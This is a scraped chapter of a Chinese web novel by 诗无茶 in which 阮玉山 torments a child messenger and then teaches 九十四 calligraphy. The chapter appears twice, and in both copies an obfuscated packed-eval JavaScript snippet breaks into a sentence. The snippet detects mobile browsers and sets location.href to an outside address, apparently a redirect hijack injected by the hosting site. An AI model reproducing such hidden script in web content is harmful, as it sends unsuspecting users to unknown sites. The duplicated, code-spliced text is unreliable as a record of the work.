诗无茶 作品
25.执笔
阮玉山拿鼻子轻蔑地哼了一声，也不说好与不好，只把手里的画往九十四怀中一扔，勉为其难地出去帮九十四看看席莲生送什么来了。
打发来送东西的是学堂里的学生，阮玉山过目不忘，上午在学堂门外的人堆里见过，下午再看就有了印象。
唯一没印象的是席莲生，他从没正眼看过对方，因此完全不知道人家还是个什么长相。
来的小孩子四五岁，头顶刚过阮玉山的小腿，穿一身一看就是家里人缝制的百家衣，背个小布兜，瞧模样是才放学，手里还抱着一捆没用过的宣纸，笑嘻嘻地说夫子让他给九十四哥哥送练字的笔墨来了。
阮玉山这会儿可不想见谁笑。
他抱着胳膊，一言不发地睥睨着脚边豆丁大的小孩儿。小孩儿先还没觉出什么，被看久了，老觉得头皮寒沁沁的，是笑也不敢笑了，话也不敢说了，抱着宣纸退了两步，瘪着嘴巴差点就要吓哭。
阮玉山看他要哭，才慢慢弯腰，大手一抓，慢悠悠拿走人家怀里的纸笔，笑道：“谢谢——回去吧。”
小孩子忙不迭转身要跑。
阮玉山漫不经心伸出脚尖。
啪嗒！
孩子在地上摔了一跤。
兴许是恐惧战胜了委屈，小孩儿硬生生憋着眼泪没哭，利利索索地拍拍膝盖爬起来，只想快点离开。
阮玉山低下头，把脚边一颗石子儿往对方面前一踹。
啪嗒！
小孩儿又拌了个狗吃屎。
这下小孩儿憋不住了，一屁股坐在地上，哇的一声哭起来。
阮玉山抱着纸笔走过去，万分轻柔地把人从地上扶起，给人又是拍屁股又是拍膝盖，趁人小孩儿不注意还往人背的小布兜里塞了片金叶子，温声哄道：“这地方好可怕，是不是？”
小孩儿一边哇哇大哭一边点头。
阮玉山耐心给人擦眼泪鼻涕，接着说：“下次再也不来了，好不好？”
小孩儿抽抽嗒嗒地继续点头。
阮玉山哈哈笑了两声，拍马似的一拍小孩儿屁股：“走吧！”
小孩终于得以逃离了。
九十四倚在门边，亲眼看着阮玉山把那团模糊不清的人形肉影绊倒两次，又扶起来和声细语哄了几句，最后诡计得逞，让人离开。
其实不管阮玉山绊不绊，那都是一团在地面蠕动行走的肉泥，即便磕到了石子，也无关痛痒。
阮玉山还算有点良心，捉弄了人家知道塞点金叶子补偿。
九十四觉得如果这样就能得到一片金叶子的话，那阮玉山也可以绊他两下，就当他还债了。
不过阮玉山阴晴不定，这脾气在面对他时尤甚，折磨别人只要一倍的力气，阮玉山会在他身上花上十倍。九十四对被阮玉山绊两下就抵债的设想并不抱希望。
看完院子里的一切，他回到桌边坐下。
此时阮玉山刚好目送小孩儿离去，转身朝向屋子，只捕捉到九十四一抹翩飞的衣角。
他原封不动地拿着席莲生送的一应纸笔走回屋子，正巧撞见九十四在给自己的右手重新包扎。
阮玉山午后为他撕扯下来的天丝绒锦披风九十四没丢，只是在学堂为了方便写字拆下来，把包住手指的那两根干净的锦带揣进了袖袋里。这会儿当着阮玉山的面一声不吭地坐在桌前自觉给包扎回去，倒是让阮玉山原本不太好看的脸色稍霁了些。
九十四其实很想抬头看看席莲生送来的纸笔是什么样，更想立刻拿到桌边写他个百八十字痛快痛快——他第一次有机会拥有自己的宣纸和毛笔，迫切得指尖都在发抖。
不过此刻有更紧迫的事。
他给自己的伤口缠好了锦带，却像是不会系，两端袋子孤零零地垂在空中。
九十四把手伸向阮玉山，又给人安排起活儿来：“你给我系。”
阮玉山拿着厚厚一卷宣纸，负手站在九十四面前，后背把门框外的夕阳挡了个全，整个人的影子笼罩着九十四，虽然背着光，可语气听起来似乎又比方才好了两分：“怎么，不先看看夫子送你的纸笔？”
九十四没说话，收回手，自顾自地对着右手没系上的锦带捣鼓。
阮玉山哂笑，心里很看不上九十四这些欲擒故纵的把戏。
虽然看不起，他还是走到九十四跟前，放好纸卷，弯腰下去抓住九十四的右手，正要给人包扎，忽的皱眉：“为何不像我之前的包法？”
午时他裁碎了自己的披风，把九十四整个右手包得密不透风，九十四嫌那包法麻烦，自己也行动不便，这会子就只用了一条锦带，在伤口处包了一圈，没裹其他地方。
当然，还因为待会儿想练字。
不过说肯定不能在阮玉山面前这么说。他脑子一转，拿出剩的那根锦带，在自己手腕缠了两圈：“多的缠手上，好看。”
阮玉山盯住他，盯了半晌，扬唇问：“什么好看？”
九十四面不改色心不跳：“带子好看。”
阮玉山不屑一笑，似乎看穿了九十四的心思。
但神色大好。
他给九十四缠完了伤口处的锦带，还顺便给九十四手腕的锦带打了个非常秀丽的结。打完以后拎着九十四的胳膊看了看，觉着这个打扮确实不错。
九十四跟个木偶似的，随便他怎么拎怎么摆，都安静坐着不吭声，等阮玉山欣赏他的手腕欣赏够了，他再图穷匕见：“我要练字。”
阮玉山的眼神冷下来。
九十四望着他，坚持道：“我要练字。”
阮玉山知道拧不过，他乏味地放下九十四的胳膊，不咸不淡地说：“要练就练，我管不着你。”
九十四行云流水地抓起桌上的卷纸往书桌那边走去。
阮玉山冷眼乜斜着，看九十四小心翼翼摊开纸卷，从纸卷里拿出过好的笔墨和砚台，然后就茫然地一手磨条一手砚台，不知道下一步该干什么。
阮玉山冷冰冰地提醒：“加水，研磨。”
他指向自己先前用的砚台：“或者用那个。”
九十四看了看他的砚台，还是想自己研一次磨。
阮玉山的嘴角又耷下去一点。
等九十四从外边接了水回来，却看见阮玉山用镇尺镇好了宣纸，背着个手在他书桌边上转悠，一副势必要看看他能写出个什么墨宝的架势。
他拿小碗端着水进来，阮玉山一瞅他两只湿漉漉的手就问：“又偷喝？”
——九十四还没改掉在饕餮谷的习惯，见到干净的水总忍不住先捧起来喝一口。
水是很珍贵的东西，对蝣人而言总该先拿来果腹，先保证了生存，再考虑其他。
“没有偷。”九十四回答完阮玉山的话，捧着碗往砚台上倒水，每倒一点，就停
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155699|162328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下来看阮玉山。
阮玉山说：“够了。”
九十四再把碗里剩下的水一口气喝干。
“拿笔。”阮玉山一步步引导他，话到嘴边又不忘刻薄一下，“别跟拿勺子一样。”
九十四当然会拿笔，他特地在席莲生那里学过。
他有模有样捏着笔，蘸了墨，在宣纸上写下自己的名字。
写完第一个字，他的手势变成了拿勺子的样子。
阮玉山在旁边毫不掩饰地笑了一声：“笨！”
九十四并不把这话放在心上，他现在一心一意要把握笔的姿势纠正过来。可拿笔着件事，一开始握正了还好，中途一旦变样，变回自己习惯的手势，就很难纠正回去。
他的无名指上下失据地悬在空中，目光凝在手指上，沉静地思考每根手指该放的位置。
俄顷，一只更宽大，肤色更深的手覆了上去。
阮玉山轻描淡写地把他的手指拨到了正确的位置，手臂贴着他的手臂，手心贴着他的手背，声音从他的头顶传下来：“落笔的时候，手不能抖。”
阮玉山的每一笔都走得大刀阔斧，指节贴在九十四的手指上，所用力道时时刻刻张弛有度，下笔轻，走笔缓，收笔重，手肘稳在空中，墨迹落在纸面上，一笔一划龙飞凤舞，力透纸背，恍若得见字字筋骨。
他知道九十四聪慧，因此只教了一遍便松手：“自己写。”
九十四凭借刚才的记忆，以及阮玉山遗留在自己手臂的感知，缓缓下笔。
落了墨，再收回，几乎和阮玉山教的一模一样。
他人生第一个规规矩矩写出来的字，带着阮玉山的笔锋。
阮玉山站在他身后，含笑看着九十四紧挨他的墨宝留下的字，又将视线移到九十四的背影上，像在欣赏自己又多描画了一笔的作品。
“什么夫子。”他凝视着九十四的后脑勺，似笑非笑，“字都教不好，骗学费的罢。”
九十四写了字，阮玉山怎么说便都不在意，甚至没把对方的话听进耳朵里，只是盯着阮玉山教自己写的字，在心里想，席莲生的字好看。
阮玉山的字更好看。
“你教得好。”他回头看向阮玉山，“再教我几次。”
阮玉山挑了挑眉。
“哦？”他俯身凑到九十四眼前，“可我用不惯别人的纸笔。”
九十四哗啦啦把席莲生送的宣纸收起来。
阮玉山靠着墙壁，意态悠然地指挥：“笔。”
九十四把席莲生送的笔放到一边。
阮玉山：“砚。”
九十四又把他先前的砚台拿过来。
他这才懒洋洋地走回九十四身后，胸腔贴着九十四的后背，一路到手臂，再度教九十四拿起笔时，声音已沉稳了下来：“手肘用力，落笔要稳。像我刚才教你的那样。”
明明身体只挨了一半，九十四整个人却仿佛被阮玉山圈在怀里。
他的耳后偶尔能感受到阮玉山说话时喉结的滑动，还有胸膛跟随呼吸缓慢的起伏，写了很久他才注意到自己的体温似乎总是更温凉些，因为阮玉山的掌心永远都温暖干燥，握在他的手背上时，能感受到皮肤下方流动的血液的滚烫。
他的一生就是从此时起每一步都带有阮玉山亲手雕刻的痕迹，笼中混沌十八载，阮玉山往后一笔一笔把他勾出了形。
打发来送东西的是学堂里的学生，阮玉山过目不忘，上午在学堂门外的人堆里见过，下午再看就有了印象。
唯一没印象的是席莲生，他从没正眼看过对方，因此完全不知道人家还是个什么长相。
来的小孩子四五岁，头顶刚过阮玉山的小腿，穿一身一看就是家里人缝制的百家衣，背个小布兜，瞧模样是才放学，手里还抱着一捆没用过的宣纸，笑嘻嘻地说夫子让他给九十四哥哥送练字的笔墨来了。
阮玉山这会儿可不想见谁笑。
他抱着胳膊，一言不发地睥睨着脚边豆丁大的小孩儿。小孩儿先还没觉出什么，被看久了，老觉得头皮寒沁沁的，是笑也不敢笑了，话也不敢说了，抱着宣纸退了两步，瘪着嘴巴差点就要吓哭。
阮玉山看他要哭，才慢慢弯腰，大手一抓，慢悠悠拿走人家怀里的纸笔，笑道：“谢谢——回去吧。”
小孩子忙不迭转身要跑。
阮玉山漫不经心伸出脚尖。
啪嗒！
孩子在地上摔了一跤。
兴许是恐惧战胜了委屈，小孩儿硬生生憋着眼泪没哭，利利索索地拍拍膝盖爬起来，只想快点离开。
阮玉山低下头，把脚边一颗石子儿往对方面前一踹。
啪嗒！
小孩儿又拌了个狗吃屎。
这下小孩儿憋不住了，一屁股坐在地上，哇的一声哭起来。
阮玉山抱着纸笔走过去，万分轻柔地把人从地上扶起，给人又是拍屁股又是拍膝盖，趁人小孩儿不注意还往人背的小布兜里塞了片金叶子，温声哄道：“这地方好可怕，是不是？”
小孩儿一边哇哇大哭一边点头。
阮玉山耐心给人擦眼泪鼻涕，接着说：“下次再也不来了，好不好？”
小孩儿抽抽嗒嗒地继续点头。
阮玉山哈哈笑了两声，拍马似的一拍小孩儿屁股：“走吧！”
小孩终于得以逃离了。
九十四倚在门边，亲眼看着阮玉山把那团模糊不清的人形肉影绊倒两次，又扶起来和声细语哄了几句，最后诡计得逞，让人离开。
其实不管阮玉山绊不绊，那都是一团在地面蠕动行走的肉泥，即便磕到了石子，也无关痛痒。
阮玉山还算有点良心，捉弄了人家知道塞点金叶子补偿。
九十四觉得如果这样就能得到一片金叶子的话，那阮玉山也可以绊他两下，就当他还债了。
不过阮玉山阴晴不定，这脾气在面对他时尤甚，折磨别人只要一倍的力气，阮玉山会在他身上花上十倍。九十四对被阮玉山绊两下就抵债的设想并不抱希望。
看完院子里的一切，他回到桌边坐下。
此时阮玉山刚好目送小孩儿离去，转身朝向屋子，只捕捉到九十四一抹翩飞的衣角。
他原封不动地拿着席莲生送的一应纸笔走回屋子，正巧撞见九十四在给自己的右手重新包扎。
阮玉山午后为他撕扯下来的天丝绒锦披风九十四没丢，只是在学堂为了方便写字拆下来，把包住手指的那两根干净的锦带揣进了袖袋里。这会儿当着阮玉山的面一声不吭地坐在桌前自觉给包扎回去，倒是让阮玉山原本不太好看的脸色稍霁了些。
九十四其实很想抬头看看席莲生送来的纸笔是什么样，更想立刻拿到桌边写他个百八十字痛快痛快——他第一次有机会拥有自己的宣纸和毛笔，迫切得指尖都在发抖。
不过此刻有更紧迫的事。
他给自己的伤口缠好了锦带，却像是不会系，两端袋子孤零零地垂在空中。
九十四把手伸向阮玉山，又给人安排起活儿来：“你给我系。”
阮玉山拿着厚厚一卷宣纸，负手站在九十四面前，后背把门框外的夕阳挡了个全，整个人的影子笼罩着九十四，虽然背着光，可语气听起来似乎又比方才好了两分：“怎么，不先看看夫子送你的纸笔？”
九十四没说话，收回手，自顾自地对着右手没系上的锦带捣鼓。
阮玉山哂笑，心里很看不上九十四这些欲擒故纵的把戏。
虽然看不起，他还是走到九十四跟前，放好纸卷，弯腰下去抓住九十四的右手，正要给人包扎，忽的皱眉：“为何不像我之前的包法？”
午时他裁碎了自己的披风，把九十四整个右手包得密不透风，九十四嫌那包法麻烦，自己也行动不便，这会子就只用了一条锦带，在伤口处包了一圈，没裹其他地方。
当然，还因为待会儿想练字。
不过说肯定不能在阮玉山面前这么说。他脑子一转，拿出剩的那根锦带，在自己手腕缠了两圈：“多的缠手上，好看。”
阮玉山盯住他，盯了半晌，扬唇问：“什么好看？”
九十四面不改色心不跳：“带子好看。”
阮玉山不屑一笑，似乎看穿了九十四的心思。
但神色大好。
他给九十四缠完了伤口处的锦带，还顺便给九十四手腕的锦带打了个非常秀丽的结。打完以后拎着九十四的胳膊看了看，觉着这个打扮确实不错。
九十四跟个木偶似的，随便他怎么拎怎么摆，都安静坐着不吭声，等阮玉山欣赏他的手腕欣赏够了，他再图穷匕见：“我要练字。”
阮玉山的眼神冷下来。
九十四望着他，坚持道：“我要练字。”
阮玉山知道拧不过，他乏味地放下九十四的胳膊，不咸不淡地说：“要练就练，我管不着你。”
九十四行云流水地抓起桌上的卷纸往书桌那边走去。
阮玉山冷眼乜斜着，看九十四小心翼翼摊开纸卷，从纸卷里拿出过好的笔墨和砚台，然后就茫然地一手磨条一手砚台，不知道下一步该干什么。
阮玉山冷冰冰地提醒：“加水，研磨。”
他指向自己先前用的砚台：“或者用那个。”
九十四看了看他的砚台，还是想自己研一次磨。
阮玉山的嘴角又耷下去一点。
等九十四从外边接了水回来，却看见阮玉山用镇尺镇好了宣纸，背着个手在他书桌边上转悠，一副势必要看看他能写出个什么墨宝的架势。
他拿小碗端着水进来，阮玉山一瞅他两只湿漉漉的手就问：“又偷喝？”
——九十四还没改掉在饕餮谷的习惯，见到干净的水总忍不住先捧起来喝一口。
水是很珍贵的东西，对蝣人而言总该先拿来果腹，先保证了生存，再考虑其他。
“没有偷。”九十四回答完阮玉山的话，捧着碗往砚台上倒水，每倒一点，就停
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155699|162328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下来看阮玉山。
阮玉山说：“够了。”
九十四再把碗里剩下的水一口气喝干。
“拿笔。”阮玉山一步步引导他，话到嘴边又不忘刻薄一下，“别跟拿勺子一样。”
九十四当然会拿笔，他特地在席莲生那里学过。
他有模有样捏着笔，蘸了墨，在宣纸上写下自己的名字。
写完第一个字，他的手势变成了拿勺子的样子。
阮玉山在旁边毫不掩饰地笑了一声：“笨！”
九十四并不把这话放在心上，他现在一心一意要把握笔的姿势纠正过来。可拿笔着件事，一开始握正了还好，中途一旦变样，变回自己习惯的手势，就很难纠正回去。
他的无名指上下失据地悬在空中，目光凝在手指上，沉静地思考每根手指该放的位置。
俄顷，一只更宽大，肤色更深的手覆了上去。
阮玉山轻描淡写地把他的手指拨到了正确的位置，手臂贴着他的手臂，手心贴着他的手背，声音从他的头顶传下来：“落笔的时候，手不能抖。”
阮玉山的每一笔都走得大刀阔斧，指节贴在九十四的手指上，所用力道时时刻刻张弛有度，下笔轻，走笔缓，收笔重，手肘稳在空中，墨迹落在纸面上，一笔一划龙飞凤舞，力透纸背，恍若得见字字筋骨。
他知道九十四聪慧，因此只教了一遍便松手：“自己写。”
九十四凭借刚才的记忆，以及阮玉山遗留在自己手臂的感知，缓缓下笔。
落了墨，再收回，几乎和阮玉山教的一模一样。
他人生第一个规规矩矩写出来的字，带着阮玉山的笔锋。
阮玉山站在他身后，含笑看着九十四紧挨他的墨宝留下的字，又将视线移到九十四的背影上，像在欣赏自己又多描画了一笔的作品。
“什么夫子。”他凝视着九十四的后脑勺，似笑非笑，“字都教不好，骗学费的罢。”
九十四写了字，阮玉山怎么说便都不在意，甚至没把对方的话听进耳朵里，只是盯着阮玉山教自己写的字，在心里想，席莲生的字好看。
阮玉山的字更好看。
“你教得好。”他回头看向阮玉山，“再教我几次。”
阮玉山挑了挑眉。
“哦？”他俯身凑到九十四眼前，“可我用不惯别人的纸笔。”
九十四哗啦啦把席莲生送的宣纸收起来。
阮玉山靠着墙壁，意态悠然地指挥：“笔。”
九十四把席莲生送的笔放到一边。
阮玉山：“砚。”
九十四又把他先前的砚台拿过来。
他这才懒洋洋地走回九十四身后，胸腔贴着九十四的后背，一路到手臂，再度教九十四拿起笔时，声音已沉稳了下来：“手肘用力，落笔要稳。像我刚才教你的那样。”
明明身体只挨了一半，九十四整个人却仿佛被阮玉山圈在怀里。
他的耳后偶尔能感受到阮玉山说话时喉结的滑动，还有胸膛跟随呼吸缓慢的起伏，写了很久他才注意到自己的体温似乎总是更温凉些，因为阮玉山的掌心永远都温暖干燥，握在他的手背上时，能感受到皮肤下方流动的血液的滚烫。
他的一生就是从此时起每一步都带有阮玉山亲手雕刻的痕迹，笼中混沌十八载，阮玉山往后一笔一笔把他勾出了形。